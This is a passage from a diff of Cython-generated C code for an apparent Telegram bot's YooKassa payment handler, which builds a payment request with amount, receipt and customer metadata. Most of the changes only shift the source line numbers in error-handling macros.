__pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5480,20 +5475,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L13_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 130, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 122, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 130, __pyx_L1_error) + else __PYX_ERR(0, 122, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; @@ -5515,7 +5510,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5530,41 +5525,41 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 123, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 131, __pyx_L1_error) + else __PYX_ERR(0, 123, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_full_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_customer_name = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = 0; __pyx_t_12 = 127; - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); @@ -5575,9 +5570,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 1; __Pyx_GIVEREF(__pyx_kp_u__6); PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_kp_u__6); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_12; @@ -5585,50 +5580,50 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_10); __pyx_cur_scope->__pyx_v_customer_email = ((PyObject*)__pyx_t_10); __pyx_t_10 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 139, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_amount, __pyx_t_9) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 140, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 140, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 140, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_t_13) < 0) __PYX_ERR(0, 140, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_return_url, __pyx_t_13) < 0) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_confirmation, __pyx_t_9) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 131, __pyx_L1_error) - __pyx_t_9 = PyTuple_New(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 142, __pyx_L1_error) + __pyx_t_9 = PyTuple_New(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = 0; __pyx_t_12 = 127; - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 142, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_12; @@ -5640,40 +5635,40 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 1; __Pyx_GIVEREF(__pyx_kp_u__7); PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_kp_u__7); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 142, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_14); PyTuple_SET_ITEM(__pyx_t_9, 2, __pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_9, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 142, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_9, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_t_14) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_description, __pyx_t_14) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 144, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_full_name, __pyx_cur_scope->__pyx_v_customer_name) < 0) __PYX_ERR(0, 137, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 145, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 145, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_customer, __pyx_t_9) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_customer_email) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_customer, __pyx_t_9) < 0) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_3 = 0; __pyx_t_12 = 127; - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_SERVICE_NAME); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_12; @@ -5685,52 +5680,52 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 1; __Pyx_GIVEREF(__pyx_kp_u__7); PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_kp_u__7); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_t_16); __pyx_t_16 = 0; - __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 151, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_description, __pyx_t_16) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_description, __pyx_t_16) < 0) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - __pyx_t_16 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); - __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - if (PyDict_SetItem(__pyx_t_16, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 153, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_16, __pyx_n_u_value, __pyx_t_13) < 0) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - if (PyDict_SetItem(__pyx_t_16, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 153, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_amount, __pyx_t_16) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_16, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 145, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_amount, __pyx_t_16) < 0) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 151, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 151, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 151, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 143, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_subject, __pyx_n_u_payment) < 0) __PYX_ERR(0, 143, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_u_payment_mode, __pyx_n_u_full_payment) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - __pyx_t_16 = PyList_New(1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 149, __pyx_L1_error) + __pyx_t_16 = PyList_New(1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_GIVEREF(__pyx_t_9); - if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 0, __pyx_t_9)) __PYX_ERR(0, 149, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 0, __pyx_t_9)) __PYX_ERR(0, 141, __pyx_L1_error); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_items, __pyx_t_16) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_items, __pyx_t_16) < 0) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_14) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_receipt, __pyx_t_14) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 160, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_14) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_u_user_id, __pyx_cur_scope->__pyx_v_tg_id) < 0) __PYX_ERR(0, 152, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_u_metadata, __pyx_t_14) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_16, __pyx_n_s_uuid); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_16, 